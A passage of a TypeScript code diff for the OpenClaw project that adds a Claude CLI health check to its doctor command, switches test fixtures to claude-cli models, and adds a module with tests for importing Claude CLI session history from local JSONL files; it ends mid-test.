}
return `- Claude project dir: ${display} is not writable by this user.`;
}
export function noteClaudeCliHealth(
cfg: OpenClawConfig,
deps?: {
noteFn?: typeof note;
env?: NodeJS.ProcessEnv;
homeDir?: string;
store?: AuthProfileStore;
readClaudeCliCredentials?: () => ClaudeCliReadableCredential | null;
resolveCommandPath?: (command: string, env?: NodeJS.ProcessEnv) => string | undefined;
workspaceDir?: string;
},
) {
const store = deps?.store ?? ensureAuthProfileStore(undefined, { allowKeychainPrompt: false });
const readClaudeCliCredentials =
deps?.readClaudeCliCredentials ??
(() => readClaudeCliCredentialsCached({ allowKeychainPrompt: false }));
const credential = readClaudeCliCredentials();
if (!hasClaudeCliConfigSignals(cfg) && !hasClaudeCliStoreSignals(store) && !credential) {
return;
}
const env = deps?.env ?? process.env;
const command = resolveClaudeCliCommand(cfg);
const resolveCommandPath =
deps?.resolveCommandPath ??
((rawCommand: string, nextEnv?: NodeJS.ProcessEnv) =>
resolveExecutablePath(rawCommand, { env: nextEnv }));
const commandPath = resolveCommandPath(command, env);
const workspaceDir =
deps?.workspaceDir ?? resolveAgentWorkspaceDir(cfg, resolveDefaultAgentId(cfg));
const projectDir = resolveClaudeCliProjectDirForWorkspace({
workspaceDir,
homeDir: deps?.homeDir,
});
const workspaceHealth = probeDirectoryHealth(workspaceDir);
const projectDirHealth = probeDirectoryHealth(projectDir);
const authStorePath = resolveAuthStorePathForDisplay();
const storedProfile = store.profiles[CLAUDE_CLI_PROFILE_ID];
const lines: string[] = [];
const fixHints: string[] = [];
if (commandPath) {
lines.push(`- Binary: ${shortenHomePath(commandPath)}.`);
} else {
lines.push(`- Binary: command "${command}" was not found on PATH.`);
fixHints.push(
"- Fix: install Claude CLI or set agents.defaults.cliBackends.claude-cli.command to the real binary path.",
);
}
if (credential) {
lines.push(`- Headless Claude auth: OK (${formatCredentialLabel(credential)}).`);
} else {
lines.push("- Headless Claude auth: unavailable without interactive prompting.");
fixHints.push(
`- Fix: run ${formatCliCommand("claude auth login")}, then ${formatCliCommand(
"openclaw models auth login --provider anthropic --method cli --set-default",
)}.`,
);
}
if (!storedProfile) {
lines.push(`- OpenClaw auth profile: missing (${CLAUDE_CLI_PROFILE_ID}) in ${authStorePath}.`);
fixHints.push(
`- Fix: run ${formatCliCommand(
"openclaw models auth login --provider anthropic --method cli --set-default",
)}.`,
);
} else if (storedProfile.provider !== CLAUDE_CLI_PROVIDER) {
lines.push(
`- OpenClaw auth profile: ${CLAUDE_CLI_PROFILE_ID} is wired to provider "${storedProfile.provider}" instead of "${CLAUDE_CLI_PROVIDER}".`,
);
fixHints.push(
`- Fix: rerun ${formatCliCommand(
"openclaw models auth login --provider anthropic --method cli --set-default",
)} to rewrite the profile cleanly.`,
);
} else {
lines.push(
`- OpenClaw auth profile: ${CLAUDE_CLI_PROFILE_ID} (provider ${CLAUDE_CLI_PROVIDER}).`,
);
}
lines.push(formatWorkspaceHealthLine(workspaceDir, workspaceHealth));
if (
workspaceHealth === "readonly" ||
workspaceHealth === "unreadable" ||
workspaceHealth === "not_directory"
) {
fixHints.push("- Fix: make the workspace a readable, writable directory for the gateway user.");
}
lines.push(formatProjectDirHealthLine(projectDir, projectDirHealth));
if (projectDirHealth === "unreadable" || projectDirHealth === "not_directory") {
fixHints.push(
"- Fix: make the Claude project dir readable, or remove the broken path and let Claude recreate it.",
);
}
if (fixHints.length > 0) {
lines.push(...fixHints);
}
(deps?.noteFn ?? note)(lines.join("\n"), "Claude CLI");
}

View File

@@ -12,6 +12,10 @@ vi.mock("./doctor-browser.js", () => ({
noteChromeMcpBrowserReadiness: vi.fn().mockResolvedValue(undefined),
}));
vi.mock("./doctor-claude-cli.js", () => ({
noteClaudeCliHealth: vi.fn(),
}));
vi.mock("./doctor-gateway-daemon-flow.js", () => ({
maybeRepairGatewayDaemon: vi.fn().mockResolvedValue(undefined),
}));

View File

@@ -232,6 +232,250 @@ describe("modelsAuthLoginCommand", () => {
expect(runtime.log).toHaveBeenCalledWith("Default model set to openai-codex/gpt-5.4");
});
it("supports provider-owned Claude CLI migration without writing auth profiles", async () => {
const runtime = createRuntime();
const runClaudeCliMigration = vi.fn().mockResolvedValue({
profiles: [],
defaultModel: "claude-cli/claude-sonnet-4-6",
configPatch: {
agents: {
defaults: {
models: {
"claude-cli/claude-sonnet-4-6": {},
},
},
},
},
});
mocks.resolvePluginProviders.mockReturnValue([
{
id: "anthropic",
label: "Anthropic",
auth: [
{
id: "cli",
label: "Claude CLI",
kind: "custom",
run: runClaudeCliMigration,
},
],
},
]);
await modelsAuthLoginCommand(
{ provider: "anthropic", method: "cli", setDefault: true },
runtime,
);
expect(runClaudeCliMigration).toHaveBeenCalledOnce();
expect(mocks.upsertAuthProfile).not.toHaveBeenCalled();
expect(lastUpdatedConfig?.agents?.defaults?.model).toEqual({
primary: "claude-cli/claude-sonnet-4-6",
});
expect(lastUpdatedConfig?.agents?.defaults?.models).toEqual({
"claude-cli/claude-sonnet-4-6": {},
});
expect(runtime.log).toHaveBeenCalledWith("Default model set to claude-cli/claude-sonnet-4-6");
});
it("loads the owning plugin for an explicit provider even in a clean config", async () => {
const runtime = createRuntime();
const runClaudeCliMigration = vi.fn().mockResolvedValue({
profiles: [],
defaultModel: "claude-cli/claude-sonnet-4-6",
configPatch: {
agents: {
defaults: {
models: {
"claude-cli/claude-sonnet-4-6": {},
},
},
},
},
});
mocks.resolvePluginProviders.mockImplementation(
(params: { activate?: boolean; providerRefs?: string[] } | undefined) =>
params?.activate === true && params?.providerRefs?.[0] === "anthropic"
? [
{
id: "anthropic",
label: "Anthropic",
auth: [
{
id: "cli",
label: "Claude CLI",
kind: "custom",
run: runClaudeCliMigration,
},
],
},
]
: [],
);
await modelsAuthLoginCommand(
{ provider: "anthropic", method: "cli", setDefault: true },
runtime,
);
expect(mocks.resolvePluginProviders).toHaveBeenCalledWith(
expect.objectContaining({
config: {},
workspaceDir: "/tmp/openclaw/workspace",
bundledProviderAllowlistCompat: true,
bundledProviderVitestCompat: true,
providerRefs: ["anthropic"],
activate: true,
}),
);
expect(runClaudeCliMigration).toHaveBeenCalledOnce();
});
it("runs the requested anthropic cli auth method with the full login context", async () => {
const runtime = createRuntime();
currentConfig = {
agents: {
defaults: {
model: {
primary: "anthropic/claude-sonnet-4-6",
fallbacks: ["anthropic/claude-opus-4-6", "openai/gpt-5.2"],
},
models: {
"anthropic/claude-sonnet-4-6": { alias: "Sonnet" },
"anthropic/claude-opus-4-6": { alias: "Opus" },
"openai/gpt-5.2": {},
},
},
},
};
const note = vi.fn(async () => {});
mocks.createClackPrompter.mockReturnValue({
note,
select: vi.fn(),
});
const runApiKeyAuth = vi.fn();
const runClaudeCliMigration = vi.fn().mockImplementation(async (ctx) => {
expect(ctx.config).toEqual(currentConfig);
expect(ctx.agentDir).toBe("/tmp/openclaw/agents/main");
expect(ctx.workspaceDir).toBe("/tmp/openclaw/workspace");
expect(ctx.prompter).toMatchObject({ note, select: expect.any(Function) });
expect(ctx.runtime).toBe(runtime);
expect(ctx.env).toBe(process.env);
expect(ctx.allowSecretRefPrompt).toBe(false);
expect(ctx.isRemote).toBe(false);
expect(ctx.openUrl).toEqual(expect.any(Function));
expect(ctx.oauth).toMatchObject({
createVpsAwareHandlers: expect.any(Function),
});
return {
profiles: [],
defaultModel: "claude-cli/claude-sonnet-4-6",
configPatch: {
agents: {
defaults: {
model: {
primary: "claude-cli/claude-sonnet-4-6",
fallbacks: ["claude-cli/claude-opus-4-6", "openai/gpt-5.2"],
},
models: {
"claude-cli/claude-sonnet-4-6": { alias: "Sonnet" },
"claude-cli/claude-opus-4-6": { alias: "Opus" },
"openai/gpt-5.2": {},
},
},
},
},
notes: [
"Claude CLI auth detected; switched Anthropic model selection to the local Claude CLI backend.",
"Existing Anthropic auth profiles are kept for rollback.",
],
};
});
const fakeStore = {
profiles: {
"anthropic:claude-cli": {
type: "oauth",
provider: "anthropic",
},
"anthropic:legacy": {
type: "token",
provider: "anthropic",
},
},
usageStats: {
"anthropic:claude-cli": {
disabledUntil: Date.now() + 3_600_000,
disabledReason: "auth_permanent",
errorCount: 2,
},
},
};
mocks.loadAuthProfileStoreForRuntime.mockReturnValue(fakeStore);
mocks.listProfilesForProvider.mockReturnValue(["anthropic:claude-cli", "anthropic:legacy"]);
mocks.resolvePluginProviders.mockReturnValue([
{
id: "anthropic",
label: "Anthropic",
auth: [
{
id: "cli",
label: "Claude CLI",
kind: "custom",
run: runClaudeCliMigration,
},
{
id: "api-key",
label: "Anthropic API key",
kind: "api_key",
run: runApiKeyAuth,
},
],
},
]);
await modelsAuthLoginCommand(
{ provider: "anthropic", method: "cli", setDefault: true },
runtime,
);
expect(runClaudeCliMigration).toHaveBeenCalledOnce();
expect(runApiKeyAuth).not.toHaveBeenCalled();
expect(mocks.clearAuthProfileCooldown).toHaveBeenCalledTimes(2);
expect(mocks.clearAuthProfileCooldown).toHaveBeenNthCalledWith(1, {
store: fakeStore,
profileId: "anthropic:claude-cli",
agentDir: "/tmp/openclaw/agents/main",
});
expect(mocks.clearAuthProfileCooldown).toHaveBeenNthCalledWith(2, {
store: fakeStore,
profileId: "anthropic:legacy",
agentDir: "/tmp/openclaw/agents/main",
});
expect(
mocks.clearAuthProfileCooldown.mock.invocationCallOrder.every(
(order) => order < runClaudeCliMigration.mock.invocationCallOrder[0],
),
).toBe(true);
expect(mocks.upsertAuthProfile).not.toHaveBeenCalled();
expect(lastUpdatedConfig?.agents?.defaults?.model).toEqual({
primary: "claude-cli/claude-sonnet-4-6",
fallbacks: ["claude-cli/claude-opus-4-6", "openai/gpt-5.2"],
});
expect(lastUpdatedConfig?.agents?.defaults?.models).toEqual({
"claude-cli/claude-sonnet-4-6": { alias: "Sonnet" },
"claude-cli/claude-opus-4-6": { alias: "Opus" },
"openai/gpt-5.2": {},
});
expect(note).toHaveBeenCalledWith(
[
"Claude CLI auth detected; switched Anthropic model selection to the local Claude CLI backend.",
"Existing Anthropic auth profiles are kept for rollback.",
].join("\n"),
"Provider notes",
);
expect(runtime.log).toHaveBeenCalledWith("Default model set to claude-cli/claude-sonnet-4-6");
});
it("clears stale auth lockouts before attempting openai-codex login", async () => {
const runtime = createRuntime();
const fakeStore = {

View File

@@ -394,9 +394,9 @@ describe("modelsStatusCommand auth overview", () => {
mocks.loadConfig.mockReturnValue({
agents: {
defaults: {
model: { primary: "codex-cli/gpt-5.4", fallbacks: [] },
models: { "codex-cli/gpt-5.4": {} },
cliBackends: { "codex-cli": {} },
model: { primary: "claude-cli/claude-sonnet-4-6", fallbacks: [] },
models: { "claude-cli/claude-sonnet-4-6": {} },
cliBackends: { "claude-cli": {} },
},
},
models: { providers: {} },
@@ -407,7 +407,7 @@ describe("modelsStatusCommand auth overview", () => {
try {
await modelsStatusCommand({ json: true }, localRuntime as never);
const payload = JSON.parse(String((localRuntime.log as Mock).mock.calls[0]?.[0]));
expect(payload.defaultModel).toBe("codex-cli/gpt-5.4");
expect(payload.defaultModel).toBe("claude-cli/claude-sonnet-4-6");
expect(payload.auth.missingProvidersInUse).toEqual([]);
} finally {
if (originalLoadConfig) {

View File

@@ -253,7 +253,7 @@ describe("legacy config detection", () => {
expectSnapshotInvalidRootKey(ctx, "whatsapp");
});
});
it("does not auto-migrate removed cli auth profile modes on load", async () => {
it("does not auto-migrate claude-cli auth profile mode on load", async () => {
await withTempHome(async (home) => {
const configPath = path.join(home, ".openclaw", "openclaw.json");
await fs.mkdir(path.dirname(configPath), { recursive: true });
@@ -263,7 +263,7 @@ describe("legacy config detection", () => {
{
auth: {
profiles: {
"anthropic:removed-cli": { provider: "anthropic", mode: "token" },
"anthropic:claude-cli": { provider: "anthropic", mode: "token" },
},
},
},
@@ -274,13 +274,13 @@ describe("legacy config detection", () => {
);
const cfg = loadConfig();
expect(cfg.auth?.profiles?.["anthropic:removed-cli"]?.mode).toBe("token");
expect(cfg.auth?.profiles?.["anthropic:claude-cli"]?.mode).toBe("token");
const raw = await fs.readFile(configPath, "utf-8");
const parsed = JSON.parse(raw) as {
auth?: { profiles?: Record<string, { mode?: string }> };
};
expect(parsed.auth?.profiles?.["anthropic:removed-cli"]?.mode).toBe("token");
expect(parsed.auth?.profiles?.["anthropic:claude-cli"]?.mode).toBe("token");
});
});
it("still flags memorySearch in snapshot under the shorter support window", async () => {

View File

@@ -3528,7 +3528,7 @@ export const GENERATED_BASE_CONFIG_SCHEMA: BaseConfigSchemaResponse = {
additionalProperties: false,
},
title: "CLI Backends",
description: "Optional CLI backends for text-only fallback.",
description: "Optional CLI backends for text-only fallback (claude-cli, etc.).",
},
memorySearch: {
type: "object",
@@ -25037,7 +25037,7 @@ export const GENERATED_BASE_CONFIG_SCHEMA: BaseConfigSchemaResponse = {
},
"agents.defaults.cliBackends": {
label: "CLI Backends",
help: "Optional CLI backends for text-only fallback.",
help: "Optional CLI backends for text-only fallback (claude-cli, etc.).",
tags: ["advanced"],
},
"agents.defaults.compaction": {

View File

@@ -1106,7 +1106,7 @@ export const FIELD_HELP: Record<string, string> = {
"Maximum number of PDF pages to process for the PDF tool (default: 20).",
"agents.defaults.imageMaxDimensionPx":
"Max image side length in pixels when sanitizing transcript/tool-result image payloads (default: 1200).",
"agents.defaults.cliBackends": "Optional CLI backends for text-only fallback.",
"agents.defaults.cliBackends": "Optional CLI backends for text-only fallback (claude-cli, etc.).",
"agents.defaults.compaction":
"Compaction tuning for when context nears token limits, including history share, reserve headroom, and pre-compaction memory flush behavior. Use this when long-running sessions need stable continuity under tight context windows.",
"agents.defaults.compaction.mode":

View File

@@ -185,7 +185,7 @@ export type AgentDefaultsConfig = {
envelopeElapsed?: "on" | "off";
/** Optional context window cap (used for runtime estimates + status %). */
contextTokens?: number;
/** Optional CLI backends for text-only fallback. */
/** Optional CLI backends for text-only fallback (claude-cli, etc.). */
cliBackends?: Record<string, CliBackendConfig>;
/** Opt-in: prune old tool results from the LLM context to reduce token usage. */
contextPruning?: AgentContextPruningConfig;

View File

@@ -47,8 +47,8 @@ describe("runCronIsolatedAgentTurn — skill filter", () => {
function mockCliFallbackInvocation() {
runWithModelFallbackMock.mockImplementationOnce(
async (params: { run: (provider: string, model: string) => Promise<unknown> }) => {
const result = await params.run("codex-cli", "gpt-5.4");
return { result, provider: "codex-cli", model: "gpt-5.4", attempts: [] };
const result = await params.run("claude-cli", "claude-opus-4-6");
return { result, provider: "claude-cli", model: "claude-opus-4-6", attempts: [] };
},
);
}
@@ -276,7 +276,7 @@ describe("runCronIsolatedAgentTurn — skill filter", () => {
systemSent: false,
skillsSnapshot: undefined,
// A stored CLI session ID that should NOT be reused on fresh runs.
cliSessionIds: { "codex-cli": "prev-cli-session-abc" },
cliSessionIds: { "claude-cli": "prev-cli-session-abc" },
},
systemSent: false,
isNewSession: true,
@@ -307,7 +307,7 @@ describe("runCronIsolatedAgentTurn — skill filter", () => {
updatedAt: 0,
systemSent: false,
skillsSnapshot: undefined,
cliSessionIds: { "codex-cli": "existing-cli-session-def" },
cliSessionIds: { "claude-cli": "existing-cli-session-def" },
},
systemSent: false,
isNewSession: false,

View File

@@ -9,7 +9,6 @@ import {
} from "../agents/model-selection.js";
import { runChannelPluginStartupMaintenance } from "../channels/plugins/lifecycle-startup.js";
import { formatCliCommand } from "../cli/command-format.js";
import { maybeRepairRemovedAnthropicClaudeCliState } from "../commands/doctor-auth-anthropic-claude-cli.js";
import {
maybeRemoveDeprecatedCliAuthProfiles,
maybeRepairLegacyOAuthProfileIds,
@@ -18,6 +17,7 @@ import {
import { noteBootstrapFileSize } from "../commands/doctor-bootstrap-size.js";
import { noteChromeMcpBrowserReadiness } from "../commands/doctor-browser.js";
import { maybeRepairBundledPluginRuntimeDeps } from "../commands/doctor-bundled-plugin-runtime-deps.js";
import { noteClaudeCliHealth } from "../commands/doctor-claude-cli.js";
import { doctorShellCompletion } from "../commands/doctor-completion.js";
import { maybeRepairLegacyCronStore } from "../commands/doctor-cron.js";
import { maybeRepairGatewayDaemon } from "../commands/doctor-gateway-daemon-flow.js";
@@ -142,7 +142,6 @@ async function runGatewayConfigHealth(ctx: DoctorHealthFlowContext): Promise<voi
}
async function runAuthProfileHealth(ctx: DoctorHealthFlowContext): Promise<void> {
ctx.cfg = await maybeRepairRemovedAnthropicClaudeCliState(ctx.cfg, ctx.prompter);
ctx.cfg = await maybeRepairLegacyOAuthProfileIds(ctx.cfg, ctx.prompter);
ctx.cfg = await maybeRemoveDeprecatedCliAuthProfiles(ctx.cfg, ctx.prompter);
await noteAuthProfileHealth({
@@ -215,6 +214,10 @@ async function runGatewayAuthHealth(ctx: DoctorHealthFlowContext): Promise<void>
note("Gateway token configured.", "Gateway auth");
}
async function runClaudeCliHealth(ctx: DoctorHealthFlowContext): Promise<void> {
noteClaudeCliHealth(ctx.cfg);
}
async function runLegacyStateHealth(ctx: DoctorHealthFlowContext): Promise<void> {
const legacyState = await detectLegacyStateMigrations({ cfg: ctx.cfg });
if (legacyState.preview.length === 0) {
@@ -499,6 +502,11 @@ export function resolveDoctorHealthContributions(): DoctorHealthContribution[] {
label: "Auth profiles",
run: runAuthProfileHealth,
}),
createDoctorHealthContribution({
id: "doctor:claude-cli",
label: "Claude CLI",
run: runClaudeCliHealth,
}),
createDoctorHealthContribution({
id: "doctor:gateway-auth",
label: "Gateway auth",

View File

@@ -0,0 +1,334 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import {
isToolCallBlock,
isToolResultBlock,
resolveToolUseId,
type ToolContentBlock,
} from "../chat/tool-content.js";
import type { SessionEntry } from "../config/sessions.js";
import { attachOpenClawTranscriptMeta } from "./session-utils.fs.js";
export const CLAUDE_CLI_PROVIDER = "claude-cli";
const CLAUDE_PROJECTS_RELATIVE_DIR = path.join(".claude", "projects");
type ClaudeCliProjectEntry = {
type?: unknown;
timestamp?: unknown;
uuid?: unknown;
isSidechain?: unknown;
message?: {
role?: unknown;
content?: unknown;
model?: unknown;
stop_reason?: unknown;
usage?: {
input_tokens?: unknown;
output_tokens?: unknown;
cache_read_input_tokens?: unknown;
cache_creation_input_tokens?: unknown;
};
};
};
type ClaudeCliMessage = NonNullable<ClaudeCliProjectEntry["message"]>;
type ClaudeCliUsage = ClaudeCliMessage["usage"];
type TranscriptLikeMessage = Record<string, unknown>;
type ToolNameRegistry = Map<string, string>;
function resolveHistoryHomeDir(homeDir?: string): string {
return homeDir?.trim() || process.env.HOME || os.homedir();
}
function resolveClaudeProjectsDir(homeDir?: string): string {
return path.join(resolveHistoryHomeDir(homeDir), CLAUDE_PROJECTS_RELATIVE_DIR);
}
export function resolveClaudeCliBindingSessionId(
entry: SessionEntry | undefined,
): string | undefined {
const bindingSessionId = entry?.cliSessionBindings?.[CLAUDE_CLI_PROVIDER]?.sessionId?.trim();
if (bindingSessionId) {
return bindingSessionId;
}
const legacyMapSessionId = entry?.cliSessionIds?.[CLAUDE_CLI_PROVIDER]?.trim();
if (legacyMapSessionId) {
return legacyMapSessionId;
}
const legacyClaudeSessionId = entry?.claudeCliSessionId?.trim();
return legacyClaudeSessionId || undefined;
}
function resolveFiniteNumber(value: unknown): number | undefined {
return typeof value === "number" && Number.isFinite(value) ? value : undefined;
}
function resolveTimestampMs(value: unknown): number | undefined {
if (typeof value !== "string") {
return undefined;
}
const parsed = Date.parse(value);
return Number.isFinite(parsed) ? parsed : undefined;
}
function resolveClaudeCliUsage(raw: ClaudeCliUsage) {
if (!raw || typeof raw !== "object") {
return undefined;
}
const input = resolveFiniteNumber(raw.input_tokens);
const output = resolveFiniteNumber(raw.output_tokens);
const cacheRead = resolveFiniteNumber(raw.cache_read_input_tokens);
const cacheWrite = resolveFiniteNumber(raw.cache_creation_input_tokens);
if (
input === undefined &&
output === undefined &&
cacheRead === undefined &&
cacheWrite === undefined
) {
return undefined;
}
return {
...(input !== undefined ? { input } : {}),
...(output !== undefined ? { output } : {}),
...(cacheRead !== undefined ? { cacheRead } : {}),
...(cacheWrite !== undefined ? { cacheWrite } : {}),
};
}
function cloneJsonValue<T>(value: T): T {
return JSON.parse(JSON.stringify(value)) as T;
}
function normalizeClaudeCliContent(
content: string | unknown[],
toolNameRegistry: ToolNameRegistry,
): string | unknown[] {
if (!Array.isArray(content)) {
return cloneJsonValue(content);
}
const normalized: ToolContentBlock[] = [];
for (const item of content) {
if (!item || typeof item !== "object") {
normalized.push(cloneJsonValue(item as ToolContentBlock));
continue;
}
const block = cloneJsonValue(item as ToolContentBlock);
const type = typeof block.type === "string" ? block.type : "";
if (type === "tool_use") {
const id = typeof block.id === "string" ? block.id.trim() : "";
const name = typeof block.name === "string" ? block.name.trim() : "";
if (id && name) {
toolNameRegistry.set(id, name);
}
if (block.input !== undefined && block.arguments === undefined) {
block.arguments = cloneJsonValue(block.input);
}
block.type = "toolcall";
delete block.input;
normalized.push(block);
continue;
}
if (type === "tool_result") {
const toolUseId = resolveToolUseId(block);
if (!block.name && toolUseId) {
const toolName = toolNameRegistry.get(toolUseId);
if (toolName) {
block.name = toolName;
}
}
normalized.push(block);
continue;
}
normalized.push(block);
}
return normalized;
}
function getMessageBlocks(message: unknown): ToolContentBlock[] | null {
if (!message || typeof message !== "object") {
return null;
}
const content = (message as { content?: unknown }).content;
return Array.isArray(content) ? (content as ToolContentBlock[]) : null;
}
function isAssistantToolCallMessage(message: unknown): boolean {
if (!message || typeof message !== "object") {
return false;
}
const role = (message as { role?: unknown }).role;
if (role !== "assistant") {
return false;
}
const blocks = getMessageBlocks(message);
return Boolean(blocks && blocks.length > 0 && blocks.every(isToolCallBlock));
}
function isUserToolResultMessage(message: unknown): boolean {
if (!message || typeof message !== "object") {
return false;
}
const role = (message as { role?: unknown }).role;
if (role !== "user") {
return false;
}
const blocks = getMessageBlocks(message);
return Boolean(blocks && blocks.length > 0 && blocks.every(isToolResultBlock));
}
function coalesceClaudeCliToolMessages(messages: TranscriptLikeMessage[]): TranscriptLikeMessage[] {
const coalesced: TranscriptLikeMessage[] = [];
for (let index = 0; index < messages.length; index += 1) {
const current = messages[index];
const next = messages[index + 1];
if (!isAssistantToolCallMessage(current) || !isUserToolResultMessage(next)) {
coalesced.push(current);
continue;
}
const callBlocks = getMessageBlocks(current) ?? [];
const resultBlocks = getMessageBlocks(next) ?? [];
const callIds = new Set(
callBlocks.map(resolveToolUseId).filter((id): id is string => Boolean(id)),
);
const allResultsMatch =
resultBlocks.length > 0 &&
resultBlocks.every((block) => {
const toolUseId = resolveToolUseId(block);
return Boolean(toolUseId && callIds.has(toolUseId));
});
if (!allResultsMatch) {
coalesced.push(current);
continue;
}
coalesced.push({
...current,
content: [...callBlocks.map(cloneJsonValue), ...resultBlocks.map(cloneJsonValue)],
});
index += 1;
}
return coalesced;
}
function parseClaudeCliHistoryEntry(
entry: ClaudeCliProjectEntry,
cliSessionId: string,
toolNameRegistry: ToolNameRegistry,
): TranscriptLikeMessage | null {
if (entry.isSidechain === true || !entry.message || typeof entry.message !== "object") {
return null;
}
const type = typeof entry.type === "string" ? entry.type : undefined;
const role = typeof entry.message.role === "string" ? entry.message.role : undefined;
if ((type !== "user" && type !== "assistant") || role !== type) {
return null;
}
const timestamp = resolveTimestampMs(entry.timestamp);
const baseMeta = {
importedFrom: CLAUDE_CLI_PROVIDER,
cliSessionId,
...(typeof entry.uuid === "string" && entry.uuid.trim() ? { externalId: entry.uuid } : {}),
};
const content =
typeof entry.message.content === "string" || Array.isArray(entry.message.content)
? normalizeClaudeCliContent(entry.message.content, toolNameRegistry)
: undefined;
if (content === undefined) {
return null;
}
if (type === "user") {
return attachOpenClawTranscriptMeta(
{
role: "user",
content,
...(timestamp !== undefined ? { timestamp } : {}),
},
baseMeta,
) as TranscriptLikeMessage;
}
return attachOpenClawTranscriptMeta(
{
role: "assistant",
content,
api: "anthropic-messages",
provider: CLAUDE_CLI_PROVIDER,
...(typeof entry.message.model === "string" && entry.message.model.trim()
? { model: entry.message.model }
: {}),
...(typeof entry.message.stop_reason === "string" && entry.message.stop_reason.trim()
? { stopReason: entry.message.stop_reason }
: {}),
...(resolveClaudeCliUsage(entry.message.usage)
? { usage: resolveClaudeCliUsage(entry.message.usage) }
: {}),
...(timestamp !== undefined ? { timestamp } : {}),
},
baseMeta,
) as TranscriptLikeMessage;
}
export function resolveClaudeCliSessionFilePath(params: {
cliSessionId: string;
homeDir?: string;
}): string | undefined {
const projectsDir = resolveClaudeProjectsDir(params.homeDir);
let projectEntries: fs.Dirent[];
try {
projectEntries = fs.readdirSync(projectsDir, { withFileTypes: true });
} catch {
return undefined;
}
for (const entry of projectEntries) {
if (!entry.isDirectory()) {
continue;
}
const candidate = path.join(projectsDir, entry.name, `${params.cliSessionId}.jsonl`);
if (fs.existsSync(candidate)) {
return candidate;
}
}
return undefined;
}
export function readClaudeCliSessionMessages(params: {
cliSessionId: string;
homeDir?: string;
}): TranscriptLikeMessage[] {
const filePath = resolveClaudeCliSessionFilePath(params);
if (!filePath) {
return [];
}
let content: string;
try {
content = fs.readFileSync(filePath, "utf-8");
} catch {
return [];
}
const messages: TranscriptLikeMessage[] = [];
const toolNameRegistry: ToolNameRegistry = new Map();
for (const line of content.split(/\r?\n/)) {
if (!line.trim()) {
continue;
}
try {
const parsed = JSON.parse(line) as ClaudeCliProjectEntry;
const message = parseClaudeCliHistoryEntry(parsed, params.cliSessionId, toolNameRegistry);
if (message) {
messages.push(message);
}
} catch {
// Ignore malformed external history entries.
}
}
return coalesceClaudeCliToolMessages(messages);
}

View File

@@ -0,0 +1,299 @@
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { afterEach, describe, expect, it } from "vitest";
import {
augmentChatHistoryWithCliSessionImports,
mergeImportedChatHistoryMessages,
readClaudeCliSessionMessages,
resolveClaudeCliSessionFilePath,
} from "./cli-session-history.js";
const ORIGINAL_HOME = process.env.HOME;
function createClaudeHistoryLines(sessionId: string) {
return [
JSON.stringify({
type: "queue-operation",
operation: "enqueue",
timestamp: "2026-03-26T16:29:54.722Z",
sessionId,
content: "[Thu 2026-03-26 16:29 GMT] Reply with exactly: AGENT CLI OK.",
}),
JSON.stringify({
type: "user",
uuid: "user-1",
timestamp: "2026-03-26T16:29:54.800Z",
message: {
role: "user",
content:
'Sender (untrusted metadata):\n```json\n{"label":"openclaw-control-ui"}\n```\n\n[Thu 2026-03-26 16:29 GMT] hi',
},
}),
JSON.stringify({
type: "assistant",
uuid: "assistant-1",
timestamp: "2026-03-26T16:29:55.500Z",
message: {
role: "assistant",
model: "claude-sonnet-4-6",
content: [{ type: "text", text: "hello from Claude" }],
stop_reason: "end_turn",
usage: {
input_tokens: 11,
output_tokens: 7,
cache_read_input_tokens: 22,
},
},
}),
JSON.stringify({
type: "assistant",
uuid: "assistant-2",
timestamp: "2026-03-26T16:29:56.000Z",
message: {
role: "assistant",
model: "claude-sonnet-4-6",
content: [
{
type: "tool_use",
id: "toolu_123",
name: "Bash",
input: {
command: "pwd",
},
},
],
stop_reason: "tool_use",
},
}),
JSON.stringify({
type: "user",
uuid: "user-2",
timestamp: "2026-03-26T16:29:56.400Z",
message: {
role: "user",
content: [
{
type: "tool_result",
tool_use_id: "toolu_123",
content: "/tmp/demo",
},
],
},
}),
JSON.stringify({
type: "last-prompt",
sessionId,
lastPrompt: "ignored",
}),
].join("\n");
}
async function withClaudeProjectsDir<T>(
run: (params: { homeDir: string; sessionId: string; filePath: string }) => Promise<T>,
): Promise<T> {
const root = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-claude-history-"));
const homeDir = path.join(root, "home");
const sessionId = "5b8b202c-f6bb-4046-9475-d2f15fd07530";
const projectsDir = path.join(homeDir, ".claude", "projects", "demo-workspace");
const filePath = path.join(projectsDir, `${sessionId}.jsonl`);
await fs.mkdir(projectsDir, { recursive: true });
await fs.writeFile(filePath, createClaudeHistoryLines(sessionId), "utf-8");
process.env.HOME = homeDir;
try {
return await run({ homeDir, sessionId, filePath });
} finally {
if (ORIGINAL_HOME === undefined) {
delete process.env.HOME;
} else {
process.env.HOME = ORIGINAL_HOME;
}
await fs.rm(root, { recursive: true, force: true });
}
}
describe("cli session history", () => {
afterEach(() => {
if (ORIGINAL_HOME === undefined) {
delete process.env.HOME;
} else {
process.env.HOME = ORIGINAL_HOME;
}
});
it("reads claude-cli session messages from the Claude projects store", async () => {
await withClaudeProjectsDir(async ({ homeDir, sessionId, filePath }) => {
expect(resolveClaudeCliSessionFilePath({ cliSessionId: sessionId, homeDir })).toBe(filePath);
const messages = readClaudeCliSessionMessages({ cliSessionId: sessionId, homeDir });
expect(messages).toHaveLength(3);
expect(messages[0]).toMatchObject({
role: "user",
content: expect.stringContaining("[Thu 2026-03-26 16:29 GMT] hi"),
__openclaw: {
importedFrom: "claude-cli",
externalId: "user-1",
cliSessionId: sessionId,
},
});
expect(messages[1]).toMatchObject({
role: "assistant",
provider: "claude-cli",
model: "claude-sonnet-4-6",
stopReason: "end_turn",
usage: {
input: 11,
output: 7,
cacheRead: 22,
},
__openclaw: {
importedFrom: "claude-cli",
externalId: "assistant-1",
cliSessionId: sessionId,
},
});
expect(messages[2]).toMatchObject({
role: "assistant",
content: [
{
type: "toolcall",
id: "toolu_123",
name: "Bash",
arguments: {
command: "pwd",
},
},
{
type: "tool_result",
name: "Bash",
content: "/tmp/demo",
tool_use_id: "toolu_123",
},
],
});
});
});
it("deduplicates imported messages against similar local transcript entries", () => {
const localMessages = [
{
role: "user",
content: "hi",
timestamp: Date.parse("2026-03-26T16:29:54.900Z"),
},
{
role: "assistant",
content: [{ type: "text", text: "hello from Claude" }],
timestamp: Date.parse("2026-03-26T16:29:55.700Z"),
},
];
const importedMessages = [
{
role: "user",
content:
